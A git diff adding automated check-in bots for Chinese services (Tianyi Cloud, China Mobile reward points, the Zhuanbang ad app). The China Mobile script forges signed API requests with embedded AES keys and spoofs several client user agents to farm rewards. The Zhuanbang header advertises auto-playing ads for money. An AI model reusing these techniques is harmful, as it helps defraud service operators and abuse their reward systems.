account_result["sign"] = "❌ 登录失败"
|
||||
all_results.append(account_result)
|
||||
continue
|
||||
|
||||
# 签到流程
|
||||
try:
|
||||
# 每日签到
|
||||
rand = str(round(time.time() * 1000))
|
||||
sign_url = f'https://api.cloud.189.cn/mkt/userSign.action?rand={rand}&clientType=TELEANDROID&version=8.6.3&model=SM-G930K'
|
||||
headers = {
|
||||
'User-Agent': 'Mozilla/5.0 (Linux; Android 5.1.1; SM-G930K Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.3729.136 Mobile Safari/537.36 Ecloud/8.6.3 Android/22 clientId/355325117317828 clientModel/SM-G930K imsi/460071114317824 clientChannelId/qq proVersion/1.0.6',
|
||||
"Referer": "https://m.cloud.189.cn/zhuanti/2016/sign/index.jsp?albumBackupOpened=1",
|
||||
"Host": "m.cloud.189.cn",
|
||||
}
|
||||
resp = session.get(sign_url, headers=headers).json()
|
||||
if resp.get('isSign') == "false":
|
||||
account_result["sign"] = f"✅ +{resp['netdiskBonus']}M"
|
||||
else:
|
||||
account_result["sign"] = f"⏳ 已签到+{resp['netdiskBonus']}M"
|
||||
|
||||
# 单次抽奖(原第一次抽奖)
|
||||
time.sleep(random.randint(2, 5))
|
||||
lottery_url = 'https://m.cloud.189.cn/v2/drawPrizeMarketDetails.action?taskId=TASK_SIGNIN&activityId=ACT_SIGNIN'
|
||||
resp = session.get(lottery_url, headers=headers).json()
|
||||
if "errorCode" in resp:
|
||||
account_result["lottery"] = f"❌ {resp.get('errorCode')}"
|
||||
else:
|
||||
prize = resp.get('prizeName') or resp.get('description')
|
||||
account_result["lottery"] = f"🎁 {prize}"
|
||||
|
||||
except Exception as e:
|
||||
account_result["sign"] = "❌ 操作异常"
|
||||
account_result["lottery"] = f"⚠️ {str(e)}"
|
||||
|
||||
all_results.append(account_result)
|
||||
print(f" {account_result['sign']} | {account_result['lottery']}")
|
||||
|
||||
# 生成汇总表格
|
||||
table = "### ⛅ 天翼云盘签到汇总\n\n"
|
||||
table += "| 账号 | 签到结果 | 每日抽奖 |\n"
|
||||
table += "|:-:|:-:|:-:|\n"
|
||||
for res in all_results:
|
||||
table += f"| {res['username']} | {res['sign']} | {res['lottery']} |\n"
|
||||
|
||||
# 发送汇总推送
|
||||
send_wxpusher(table)
|
||||
print("\n✅ 所有账号处理完成!")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
129
签到本/天翼云盘签到.js
Normal file
129
签到本/天翼云盘签到.js
Normal file
@@ -0,0 +1,129 @@
|
||||
/**
|
||||
* 变量名:CLOUD_189
|
||||
* 值:手机号#密码,多账号,直接换行或者重新弄一个变量,格式一样。
|
||||
* 需要安装的依赖 cloud189-sdk
|
||||
* 定时规则
|
||||
* 每天早上8点,跟晚上8点签到。
|
||||
* cron: 0 0 8,20 * * *
|
||||
*/
|
||||
const { CloudClient } = require("cloud189-sdk");
|
||||
const fs = require('fs'); // 引入文件系统模块,用于写入日志
|
||||
|
||||
const mask = (s, start, end) => s.split("").fill("*", start, end).join("");
|
||||
|
||||
const buildTaskResult = (res, result) => {
|
||||
const index = result.length;
|
||||
if (res.errorCode === "User_Not_Chance") {
|
||||
result.push(`第${index}次抽奖失败,次数不足`);
|
||||
} else {
|
||||
result.push(`第${index}次抽奖成功,抽奖获得${res.prizeName}`);
|
||||
}
|
||||
};
|
||||
|
||||
const delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
|
||||
const message = [];
|
||||
// 任务 1.签到 2.天天抽红包 3.自动备份抽红包
|
||||
const doTask = async (cloudClient) => {
|
||||
const result = [];
|
||||
const res1 = await cloudClient.userSign();
|
||||
result.push(
|
||||
`${res1.isSign? "已经签到过了," : ""}签到获得${res1.netdiskBonus}M空间`
|
||||
);
|
||||
await delay(5000); // 延迟5秒
|
||||
|
||||
const res2 = await cloudClient.taskSign();
|
||||
buildTaskResult(res2, result);
|
||||
|
||||
await delay(5000); // 延迟5秒
|
||||
const res3 = await cloudClient.taskPhoto();
|
||||
buildTaskResult(res3, result);
|
||||
|
||||
await delay(5000); // 延迟5秒
|
||||
const res4 = await cloudClient.taskKJ();
|
||||
buildTaskResult(res4, result);
|
||||
return result;
|
||||
};
|
||||
|
||||
const doFamilyTask = async (cloudClient) => {
|
||||
const { familyInfoResp } = await cloudClient.getFamilyList();
|
||||
const result = [];
|
||||
if (familyInfoResp) {
|
||||
for (let index = 0; index < familyInfoResp.length; index += 1) {
|
||||
const { familyId } = familyInfoResp[index];
|
||||
const res = await cloudClient.familyUserSign(familyId);
|
||||
result.push(
|
||||
"家庭任务" +
|
||||
`${res.signStatus? "已经签到过了," : ""}签到获得${
|
||||
res.bonusSpace
|
||||
}M空间`
|
||||
);
|
||||
}
|
||||
}
|
||||
return result;
|
||||
};
|
||||
|
||||
// 开始执行程序
|
||||
async function main(userName, password) {
|
||||
if (userName && password) {
|
||||
const userNameInfo = mask(userName, 3, 7);
|
||||
try {
|
||||
message.push(`账户 ${userNameInfo}开始执行`);
|
||||
console.log(`账户 ${userNameInfo}开始执行`);
|
||||
const cloudClient = new CloudClient(userName, password);
|
||||
await cloudClient.login();
|
||||
const result = await doTask(cloudClient);
|
||||
result.forEach((r) => console.log(r));
|
||||
const familyResult = await doFamilyTask(cloudClient);
|
||||
familyResult.forEach((r) => console.log(r));
|
||||
|
||||
console.log("任务执行完毕");
|
||||
const { cloudCapacityInfo, familyCapacityInfo } =
|
||||
await cloudClient.getUserSizeInfo();
|
||||
let txt =
|
||||
`个人:${(
|
||||
cloudCapacityInfo.totalSize /
|
||||
1024 /
|
||||
1024 /
|
||||
1024
|
||||
).toFixed(2)}G,家庭:${(
|
||||
familyCapacityInfo.totalSize /
|
||||
1024 /
|
||||
1024 /
|
||||
1024
|
||||
).toFixed(2)}G`;
|
||||
|
||||
message.push(txt);
|
||||
console.log(txt);
|
||||
} catch (e) {
|
||||
console.error(e);
|
||||
if (e.code === "ECONNRESET") {
|
||||
throw e;
|
||||
}
|
||||
} finally {
|
||||
message.push(`账户 ${userNameInfo}执行完毕`);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
(async () => {
|
||||
try {
|
||||
const c189s = process.env.CLOUD_189;
|
||||
if (!c189s) {
|
||||
console.log('未获取到天翼云盘 CLOUD_189');
|
||||
return;
|
||||
}
|
||||
let account = c189s.split('\n');
|
||||
|
||||
|
||||
|
||||
for (const c189 of account) {
|
||||
let date = c189.split('#');
|
||||
await main(date[0], date[1]);
|
||||
}
|
||||
} finally {
|
||||
console.log(message.join('\n'));
|
||||
// 将消息内容写入日志文件
|
||||
const logContent = message.join('\n');
|
||||
fs.writeFileSync('天翼云盘签到日志.txt', logContent);
|
||||
}
|
||||
})();
|
||||
18
签到本/小黑盒签到.js
Normal file
18
签到本/小黑盒签到.js
Normal file
File diff suppressed because one or more lines are too long
56
签到本/王老吉签到1.0.py
Normal file
56
签到本/王老吉签到1.0.py
Normal file
File diff suppressed because one or more lines are too long
476
签到本/移动权益金.py
Normal file
476
签到本/移动权益金.py
Normal file
@@ -0,0 +1,476 @@
|
||||
# 软件:中国移动
|
||||
# 功能:心愿金签到
|
||||
# 抓包 移动APP抓包,闪退换旧版本9.,先开抓包进,biz-orange/LN/uamrandcodelogin/autoLogin 请求体全部
|
||||
# 仅限安卓机器抓包使用,苹果机器抓包无法使用!
|
||||
# 变量:xyjck
|
||||
# 格式: 请求体值#手机号 多账号 @或者换行分割
|
||||
# 日期 2024.1.1
|
||||
# - [12.6]:
|
||||
# 定时:一天一次
|
||||
# 作者: 木兮
|
||||
import hashlib
|
||||
import json
|
||||
import os
|
||||
import random
|
||||
import re
|
||||
import time
|
||||
import requests
|
||||
from Crypto.Cipher import AES
|
||||
from Crypto.Util.Padding import pad, unpad
|
||||
import base64
|
||||
|
||||
from os import path
|
||||
|
||||
reward_name = '2元话费券' # 填写兑换奖品名称 ,0.5/1、1.5/2话费券
|
||||
user_agents = {
|
||||
'app': 'Mozilla/5.0 (Linux; U; Android 11; zh-CN; M2012K10C Build/RP1A.200720.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/69.0.3497.100 UWS/3.22.2.57 Mobile Safari/537.36 UCBS/3.22.2.57_221124174200 AlipayDefined AriverApp(mPaaSClient/10.2.8) MiniProgram leadeon/8.9.0/CMCCIT/tinyApplet',
|
||||
'wx': 'Mozilla/5.0 (Linux; Android 11; M2012K10C Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/111.0.5563.116 Mobile Safari/537.36 XWEB/5197 MMWEBSDK/20230202 MMWEBID/2612 MicroMessenger/8.0.33.2320(0x28002135) WeChat/arm64 Weixin NetType/5G Language/zh_CN ABI/arm64',
|
||||
'wx_mini':
|
||||
'Mozilla/5.0 (Linux; Android 11; M2012K10C Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/111.0.5563.116 Mobile Safari/537.36 XWEB/5197 MMWEBSDK/20230202 MMWEBID/2612 MicroMessenger/8.0.33.2320(0x28002135) WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64 miniProgram/wx43aab19a93a3a6f2',
|
||||
'zfb': 'Mozilla/5.0 (Linux; U; Android 11; zh-CN; M2012K10C Build/RP1A.200720.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/69.0.3497.100 UWS/3.22.2.59 Mobile Safari/537.36 UCBS/3.22.2.59_230213152242 NebulaSDK/1.8.100112 Nebula AlipayDefined(nt:3G,ws:393|0|2.75) AliApp(AP/10.3.86.8000) AlipayClient/10.3.86.8000 Language/zh-Hans useStatusBar/true isConcaveScreen/true Region/CNAriver/1.0.0 MiniProgram APXWebView',
|
||||
}
|
||||
|
||||
|
||||
# 通知服务加载
|
||||
def load_send():
|
||||
"""加载通知服务。"""
|
||||
cur_path = path.abspath(path.dirname(__file__))
|
||||
notify_file = path.join(cur_path, "/notify.py")
|
||||
|
||||
if path.exists(notify_file):
|
||||
try:
|
||||
from notify import send
|
||||
print("加载通知服务成功!")
|
||||
return send
|
||||
except ImportError:
|
||||
print("通知服务模块导入失败。")
|
||||
else:
|
||||
print("未找到通知服务文件。")
|
||||
|
||||
return None
|
||||
|
||||
|
||||
class HB:
|
||||
def __init__(self, cookie, index):
|
||||
self.session = requests.Session()
|
||||
self.GLOBAL_DEBUG = False
|
||||
self.index = index
|
||||
self.cookie = cookie.split("#")[0]
|
||||
self.phone = cookie.split("#")[1]
|
||||
self.base_headers = {
|
||||
'Host': 'wx.10086.cn',
|
||||
'Connection': 'keep-alive',
|
||||
'Upgrade-Insecure-Requests': '1',
|
||||
'User-Agent': user_agents['app'],
|
||||
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
|
||||
'Sec-Fetch-Mode': 'navigate',
|
||||
'Sec-Fetch-User': '?1',
|
||||
'Sec-Fetch-Dest': 'document',
|
||||
'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
|
||||
}
|
||||
|
||||
def send_request(self, url, headers=None, method='GET', data=None, debug=False, retries=5):
|
||||
"""发送请求并处理响应。"""
|
||||
|
||||
debug = debug if debug is not None else self.GLOBAL_DEBUG
|
||||
request_args = {'json': data} if isinstance(data, dict) else {'data': data}
|
||||
for attempt in range(retries):
|
||||
try:
|
||||
response = self.session.request(method, url, headers = headers, **request_args)
|
||||
response.raise_for_status()
|
||||
if debug:
|
||||
print(f'\n【账号{self.index}】:{url}响应数据:\n{response.text}\n')
|
||||
return response
|
||||
except Exception as e:
|
||||
# print(f"【账号{self.index}】: {e}")
|
||||
if attempt >= retries - 1:
|
||||
print(f"达到最大重试次数。")
|
||||
return None
|
||||
time.sleep(0.1 * (2 ** attempt))
|
||||
|
||||
# 随机延迟默认1-1.5s
|
||||
def sleep(self, min_delay=1, max_delay=1.5):
|
||||
delay = random.uniform(min_delay, max_delay)
|
||||
time.sleep(delay)
|
||||
|
||||
# 本地加密
|
||||
def encrypt(self, text_to_encrypt):
|
||||
key = base64.b64decode("YkFJZ3Z3QXVBNHRiRHI5ZA==")
|
||||
iv = base64.b64decode("OTc5MTAyNzM0MTcxMTgxOQ==")
|
||||
cipher = AES.new(key, AES.MODE_CBC, iv)
|
||||
padded_data = pad(text_to_encrypt.encode(), AES.block_size)
|
||||
# 加密
|
||||
encrypted = cipher.encrypt(padded_data)
|
||||
return base64.b64encode(encrypted).decode()
|
||||
|
||||
# 本地解密
|
||||
def decrypt(self, encrypted_base64):
|
||||
key = base64.b64decode("YkFJZ3Z3QXVBNHRiRHI5ZA==")
|
||||
iv = base64.b64decode("OTc5MTAyNzM0MTcxMTgxOQ==")
|
||||
encrypted = base64.b64decode(encrypted_base64)
|
||||
cipher = AES.new(key, AES.MODE_CBC, iv)
|
||||
decrypted_padded = cipher.decrypt(encrypted)
|
||||
decrypted = unpad(decrypted_padded, AES.block_size).decode()
|
||||
return decrypted
|
||||
|
||||
# 响应解密
|
||||
def res_decrypt(self, base64_encrypted):
|
||||
base64_key = "R1M3VmVsa0psNUlUMXV3UQ=="
|
||||
base64_iv = "OTc5MTAyNzM0MTcxMTgxOQ=="
|
||||
|
||||
# Base64解码
|
||||
key = base64.b64decode(base64_key)
|
||||
iv = base64.b64decode(base64_iv)
|
||||
encrypted_data = base64.b64decode(base64_encrypted)
|
||||
|
||||
# 创建解密器
|
||||
cipher = AES.new(key, AES.MODE_CBC, iv)
|
||||
|
||||
# 解密数据
|
||||
decrypted_data = cipher.decrypt(encrypted_data)
|
||||
|
||||
# 移除PKCS5Padding填充
|
||||
decrypted_data = unpad(decrypted_data, AES.block_size)
|
||||
|
||||
return decrypted_data
|
||||
|
||||
# 计算 MD5 哈希
|
||||
def calculate_md5(self, byte_data):
|
||||
text_bytes = byte_data.encode()
|
||||
md5_hash = hashlib.md5()
|
||||
md5_hash.update(text_bytes)
|
||||
return md5_hash.hexdigest()
|
||||
|
||||
def build_headers(self, x_sign, tm, x_s, x_nonce, token, jsessionid=None):
|
||||
headers = {
|
||||
'Host': 'client.app.coc.10086.cn',
|
||||
'x-sign': x_sign,
|
||||
'x-time': str(tm),
|
||||
'xs': x_s,
|
||||
'x-qen': '2',
|
||||
'x-nonce': x_nonce,
|
||||
'x-token': token,
|
||||
'user-agent': 'okhttp/3.14.9',
|
||||
'content-type': 'application/json; charset=utf-8',
|
||||
'Accept': '*/*',
|
||||
'Connection': 'keep-alive'
|
||||
}
|
||||
if jsessionid:
|
||||
headers[
|
||||
'Cookie'] = jsessionid
|
||||
return headers
|
||||
|
||||
def process_encryption(self, dee_te, url_pattern, jsessionid=None):
|
||||
decrypted_text = self.decrypt(dee_te)
|
||||
xk = json.loads(decrypted_text).get('xk')
|
||||
tm = int(time.time() * 1000)
|
||||
x_nonce = ''.join(random.choices('0123456789', k = 8))
|
||||
tk = f'{xk}_/{url_pattern}_{tm}_{x_nonce}'
|
||||
|
||||
token = self.encrypt(tk)
|
||||
sign_data = f'{token}_{tm}_{x_nonce}_{"null" if not jsessionid else jsessionid}'
|
||||
x_sign = self.calculate_md5(sign_data)
|
||||
|
||||
x_s = self.calculate_md5(
|
||||
f'https://client.app.coc.10086.cn/{url_pattern}_{decrypted_text}_Leadeon/SecurityOrganization')
|
||||
|
||||
return x_sign, tm, x_s, x_nonce, token
|
||||
|
||||
def activity_ck(self, source_id):
|
||||
decode_data = json.loads(self.decrypt(self.cookie))
|
||||
new_data = {
|
||||
"ak": decode_data.get('ak'),
|
||||
"cid": decode_data.get('cid'),
|
||||
"city": decode_data.get('city'),
|
||||
"ctid": decode_data.get('cid'),
|
||||
"cv": decode_data.get('cv'),
|
||||
"en": decode_data.get('en'),
|
||||
"imei": decode_data.get('imei'),
|
||||
"nt": decode_data.get('nt'),
|
||||
"prov": decode_data.get('prov'),
|
||||
"reqBody": {
|
||||
"appId": "8463803521674337",
|
||||
"cellNum": self.phone,
|
||||
"sourceId": source_id,
|
||||
"url": "empty"
|
||||
},
|
||||
"sb": decode_data.get('sb'),
|
||||
"sn": decode_data.get('sn'),
|
||||
"sp": decode_data.get('sp'),
|
||||
"st": decode_data.get('st'),
|
||||
"sv": decode_data.get('sv'),
|
||||
"t": "",
|
||||
"tel": self.phone,
|
||||
"xc": decode_data.get('xc'),
|
||||
"xk": decode_data.get('xk')
|
||||
}
|
||||
|
||||
compact_json = json.dumps(new_data, separators = (',', ':'))
|
||||
|
||||
return self.encrypt(compact_json)
|
||||
|
||||
def get_sso_token(self):
|
||||
url_pattern = 'biz-orange/LN/uamrandcodelogin/autoLogin'
|
||||
x_sign, tm, x_s, x_nonce, token = self.process_encryption(self.cookie, url_pattern)
|
||||
|
||||
url = f"https://client.app.coc.10086.cn/{url_pattern}"
|
||||
headers = self.build_headers(x_sign, tm, x_s, x_nonce, token)
|
||||
|
||||
response = self.send_request(url, headers = headers, data = self.cookie, method = "POST")
|
||||
jsessionid_value = response.headers.get('Set-Cookie')
|
||||
|
||||
if jsessionid_value:
|
||||
de_te2 = self.activity_ck('017018')
|
||||
|
||||
url_pattern2 = 'leadeon-abilityopen-biz/BN/obtainToken/getBigNetToken'
|
||||
x_sign, tm, x_s, x_nonce, token = self.process_encryption(de_te2, url_pattern2, jsessionid_value)
|
||||
|
||||
url = f"https://client.app.coc.10086.cn/{url_pattern2}"
|
||||
headers2 = self.build_headers(x_sign, tm, x_s, x_nonce, token, jsessionid_value)
|
||||
|
||||
response = self.send_request(url, headers = headers2, data = de_te2, method = "POST")
|
||||
decode = json.loads(self.res_decrypt(response.text))
|
||||
if decode.get('retDesc') == 'SUCCESS':
|
||||
sso_token = decode.get('rspBody').get('token')
|
||||
return sso_token
|
||||
else:
|
||||
print(decode)
|
||||
return None
|
||||
|
||||
else:
|
||||
print("JSESSIONID not found")
|
||||
return None
|
||||
|
||||
def login(self):
|
||||
sso_token = self.get_sso_token()
|
||||
if sso_token is None:
|
||||
print(f'{self.phone}登录失败')
|
||||
return
|
||||
headers = {
|
||||
'Host': 'wx.10086.cn',
|
||||
'Connection': 'keep-alive',
|
||||
'login-check': '1',
|
||||
'Accept-Encoding': 'gzip',
|
||||
'content-type': 'application/json;charset=UTF-8',
|
||||
'User-Agent': user_agents['app']
|
||||
}
|
||||
login_url = f'http://wx.10086.cn/qwhdhub/user/tokenLogin?activityId=1021122301&channelId=P00000054142&token={sso_token}&tokenType=1'
|
||||
login_res = self.send_request(login_url, headers = self.base_headers)
|
||||
set_cookie = login_res.headers.get('Set-Cookie')
|
||||
self.base_headers['Cookie'] = set_cookie
|
||||
lg_url = 'http://wx.10086.cn/qwhdhub/api/mark/user/info'
|
||||
lg_payload = {
|
||||
"appVersion": "9.3.0",
|
||||
"miniVersion": "2023.12.29.10"
|
||||
}
|
||||
|
||||
lg_res = self.send_request(lg_url, headers = self.base_headers, data = lg_payload, method = "POST").json()
|
||||
if lg_res.get('code') == 'SUCCESS':
|
||||
print('移动心愿金登录成功')
|
||||
self.sign_in()
|
||||
|
||||
agents = [
|
||||
{'name': 'app任务', 'user_agent': user_agents['app']},
|
||||
{'name': '微信公众号任务', 'user_agent': user_agents['wx']},
|
||||
{'name': '微信小程序任务', 'user_agent': user_agents['wx_mini']},
|
||||
{'name': '支付宝小程序任务', 'user_agent': user_agents['zfb']},
|
||||
]
|
||||
|
||||
for agent in agents:
|
||||
# if agent['name'] == '支付宝小程序任务':
|
||||
# print('---暂时关闭支付宝小程序任务---')
|
||||
# continue
|
||||
|
||||
self.base_headers['User-Agent'] = agent['user_agent']
|
||||
print(f"\n========{agent['name']}========")
|
||||
|
||||
self.get_task_list()
|
||||
time.sleep(2)
|
||||
|
||||
# 等待500毫秒后查询用户信息
|
||||
time.sleep(0.5)
|
||||
self.userInfo()
|
||||
else:
|
||||
print(lg_res.get('msg'))
|
||||
|
||||
def sign_in(self):
|
||||
try:
|
||||
info_url = 'http://wx.10086.cn/qwhdhub/api/mark/info/prizeInfo'
|
||||
info_data = self.send_request(info_url, headers = self.base_headers, method = "POST").json()
|
||||
|
||||
if info_data['code'] != 'SUCCESS':
|
||||
print(info_data.get('msg', ''))
|
||||
return
|
||||
|
||||
if info_data['data']['todayMarked']:
|
||||
print('今日已签到')
|
||||
return
|
||||
|
||||
time.sleep(0.5)
|
||||
|
||||
sign_url = 'http://wx.10086.cn/qwhdhub/api/mark/do/mark'
|
||||
sign_data = self.send_request(sign_url, headers = self.base_headers, method = "POST").json()
|
||||
|
||||
if sign_data['code'] != 'SUCCESS':
|
||||
print(sign_data.get('msg', ''))
|
||||
return
|
||||
|
||||
print('签到成功')
|
||||
except Exception as e:
|
||||
print(f'签到失败,错误信息:{e}')
|
||||
|
||||
def get_task_list(self):
|
||||
try:
|
||||
response = requests.post('http://wx.10086.cn/qwhdhub/api/mark/task/taskList', headers = self.base_headers,
|
||||
json = {})
|
||||
return_data = response.json()
|
||||
|
||||
if return_data['code'] != "SUCCESS":
|
||||
print(return_data['msg'])
|
||||
return
|
||||
|
||||
task_list = return_data['data']['tasks']
|
||||
|
||||
for taskType in ["1", "2", "3"]: # 每日、每周、每月任务
|
||||
print(f"-----{taskType}类任务-----")
|
||||
for task in task_list:
|
||||
if task['taskType'] == taskType:
|
||||
self.doTask(task)
|
||||
|
||||
except Exception as error:
|
||||
print('查询出错了:', error)
|
||||
|
||||
def doTask(self, task):
|
||||
taskId = task['taskId']
|
||||
status = task['status']
|
||||
taskName = task['taskName']
|
||||
|
||||
try:
|
||||
if not status:
|
||||
print(f'去完成:[{taskName}]')
|
||||
self.completeTask(taskId, task)
|
||||
elif status == 2:
|
||||
print(f'已领取:[{taskName}]')
|
||||
elif status == 1:
|
||||
print(f'去领取:[{taskName}]')
|
||||
self.completeTask(taskId, task)
|
||||
except Exception as e:
|
||||
print(f'处理任务 {taskId} 时出错: {e}')
|
||||
|
||||
def completeTask(self, taskId, task):
|
||||
# 完成任务逻辑
|
||||
try:
|
||||
if task['status'] == 0:
|
||||
infoUrl = 'http://wx.10086.cn/qwhdhub/api/mark/task/taskInfo'
|
||||
response = requests.post(infoUrl, headers = self.base_headers, json = {"taskId": taskId})
|
||||
return_data = response.json()
|
||||
if return_data['code'] != "SUCCESS":
|
||||
print(return_data['msg'])
|
||||
return
|
||||
taskType = return_data['data']['taskType']
|
||||
time.sleep(5) # 等待 5 秒
|
||||
finishUrl = 'http://wx.10086.cn/qwhdhub/api/mark/task/finishTask'
|
||||
response = requests.post(finishUrl, headers = self.base_headers,
|
||||
json = {"taskId": taskId, "taskType": taskType})
|
||||
return_data2 = response.json()
|
||||
if return_data2['code'] != "SUCCESS":
|
||||
print(return_data2['msg'])
|
||||
return
|
||||
|
||||
rewardUrl = 'http://wx.10086.cn/qwhdhub/api/mark/task/getTaskAward'
|
||||
response = requests.post(rewardUrl, headers = self.base_headers, json = {"taskId": taskId})
|
||||
return_data3 = response.json()
|
||||
if return_data3['code'] != "SUCCESS":
|
||||
print(return_data3['msg'])
|
||||
return
|
||||
awardNum = return_data3['data']['awardNum']
|
||||
print(f'领取{awardNum}心愿值')
|
||||
|
||||
except Exception as error:
|
||||
print('出错了:', error)
|
||||
|
||||
def userInfo(self):
|
||||
try:
|
||||
url = 'http://wx.10086.cn/qwhdhub/api/mark/task/getExchangeList'
|
||||
response = requests.post(url, headers = self.base_headers, json = {"channel": "app"})
|
||||
return_data = response.json()
|
||||
|
||||
if return_data['code'] != "SUCCESS":
|
||||
print(return_data['msg'])
|
||||
return
|
||||
|
||||
currentFee = float(return_data['data']['currentFee'])
|
||||
print(f"\n当前用户剩余:{currentFee}心愿金")
|
||||
|
||||
if reward_name == '':
|
||||
print("当前用户未开启兑换")
|
||||
return
|
||||
|
||||
prizes = return_data['data']['prizes']
|
||||
prize = next((p for p in prizes if p['name'] == reward_name), None)
|
||||
if not prize:
|
||||
print("未找到对应奖品")
|
||||
return
|
||||
|
||||
cost = prize['cost']
|
||||
prizeId = prize['id']
|
||||
if currentFee <= cost:
|
||||
print("当前心愿金不足")
|
||||
return
|
||||
print(f"去兑换奖品: {reward_name}")
|
||||
self.exchange(prizeId)
|
||||
|
||||
except Exception as error:
|
||||
print('查询出错了:', error)
|
||||
|
||||
def exchange(self, prizeId):
|
||||
try:
|
||||
stockUrl = 'http://wx.10086.cn/qwhdhub/api/mark/task/checkStock'
|
||||
exchangeUrl = 'http://wx.10086.cn/qwhdhub/api/mark/task/exchange'
|
||||
|
||||
# 检查库存
|
||||
stock_response = requests.post(stockUrl, headers = self.base_headers, json = {"prizeId": prizeId})
|
||||
stockData = stock_response.json()
|
||||
if stockData['code'] != "SUCCESS":
|
||||
print(stockData['msg'])
|
||||
return
|
||||
stock = stockData['data']['stock']
|
||||
if stock == 0:
|
||||
print("当前库存为0,请明天再来兑换!")
|
||||
return
|
||||
print(f"当前库存数量:{stock}")
|
||||
|
||||
# 进行兑换
|
||||
exchange_response = requests.post(exchangeUrl, headers = self.base_headers, json = {"prizeId": prizeId})
|
||||
exchangeData = exchange_response.json()
|
||||
if exchangeData['code'] != "SUCCESS":
|
||||
print(exchangeData['msg'])
|
||||
return
|
||||
print("兑换成功,请记得去使用哦!")
|
||||
|
||||
except Exception as error:
|
||||
print('兑换出错了:', error)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
env_name = 'xyjck'
|
||||
py_name = '移动心愿金'
|
||||
token = os.getenv(env_name)
|
||||
if not token:
|
||||
print(f'⛔️未获取到ck变量:请检查变量 {env_name}是否填写')
|
||||
exit(0)
|
||||
|
||||
cookies = re.split(r'[@\n]', token)
|
||||
print(f"{py_name}共获取到{len(cookies)}个账号")
|
||||
|
||||
msg = ''
|
||||
for i, cookie in enumerate(cookies, start = 1):
|
||||
print(f"\n======== ▷ 账号【{i}】 ◁ ========")
|
||||
requestor = HB(cookie, i)
|
||||
requestor.login()
|
||||
|
||||
send = load_send()
|
||||
if send:
|
||||
send(py_name, msg)
|
||||
else:
|
||||
print('通知服务不可用')
|
||||
215
签到本/赚榜.py
Normal file
215
签到本/赚榜.py
Normal file
@@ -0,0 +1,215 @@
|
||||
"""
|
||||
项目名: 赚榜
|
||||
|
||||
注册地址: https://app.zhuanbang.net/invite/24721
|
||||
推荐一个挣零花钱利器【赚榜】App,每天一两个小时,轻松赚取50元零花钱,我已提现到账了,3元起提,安全可靠!
|
||||
①我的邀请链接是 https://app.zhuanbang.net/invite/24721 从我链接注册后下载自动建立邀请关系~
|
||||
②在应用商店下载后,注册时输入邀请码“ 8024721”才会建立邀请关系哦~
|
||||
③复制邀请口令“¥JZTFz0XYk9XC¥”再下载打开App注册也会自动建立邀请关系~
|
||||
如果上面链接打不开,请运行下脚本就可以获取最新的注册地址
|
||||
脚本功能:
|
||||
自动播放视频广告
|
||||
|
||||
配置参数:
|
||||
- `变量名:zhuanbang_accounts` 格式: 手机号#密码#账户备注,以`&`或换行符分隔或者多个同名环境变量。
|
||||
|
||||
不会配置?可以付费咨询 🤪
|
||||
|
||||
==================================================
|
||||
|
||||
广告区域(预留): 服务器618大促 https://mp.weixin.qq.com/s/QwIEx-bDkk3QzBQar596TQ
|
||||
|
||||
仅用于测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断;您必须在下载后的24小时内从计算机或手机中完全删除以上内容。
|
||||
|
||||
如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关脚本。
|
||||
|
||||
==================================================
|
||||
|
||||
脚本依赖:
|
||||
|
||||
- Python依赖如下:
|
||||
- requests
|
||||
|
||||
---------------------------------------------------
|
||||
"""
|
||||
|
||||
import os
|
||||
import urllib3
|
||||
import time
|
||||
import random
|
||||
import hashlib
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
import requests
|
||||
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
|
||||
moreTip = "\n服务器618大促 https://mp.weixin.qq.com/s/QwIEx-bDkk3QzBQar596TQ"
|
||||
inviteMsg = "注册地址: https://app.zhuanbang.net/invite/24721"
|
||||
|
||||
|
||||
class ZBClient:
|
||||
def __init__(self, phone, password, nick_name):
|
||||
self._phone = phone
|
||||
self._password = password
|
||||
self._nick_name = nick_name
|
||||
self._cookie = ""
|
||||
self._headers = self._initialize_headers()
|
||||
self._session = requests.Session()
|
||||
self._session.verify = False
|
||||
self._session.headers.update(self._headers)
|
||||
self._csrf_token = ""
|
||||
self._session_id = ""
|
||||
self._time = ""
|
||||
|
||||
def _initialize_headers(self):
|
||||
return {
|
||||
"Host": "app.zhuanbang.net",
|
||||
"Connection": "keep-alive",
|
||||
"Upgrade-Insecure-Requests": "1",
|
||||
"Accept": "application/json, image/webp",
|
||||
"User-Agent": "Mozilla/5.0 (Linux; Android 12; M2011K2C Build/SKQ1.211006.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/95.0.4638.74 Mobile Safari/537.36 HuoNiuFusion/1.26.0_240361",
|
||||
"X-Requested-With": "app.zhuanbang.com",
|
||||
"Referer": "https://app.zhuanbang.net/user/home",
|
||||
"accept-language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Accept-Encoding": "gzip, deflate",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
|
||||
"Cookie": f"NiuToken={self._cookie}" if self._cookie else None,
|
||||
}
|
||||
|
||||
def _extract_middle_text(self, source, before_text, after_text, all_matches=False):
|
||||
results = []
|
||||
start_index = 0
|
||||
while True:
|
||||
start_index = source.find(before_text, start_index)
|
||||
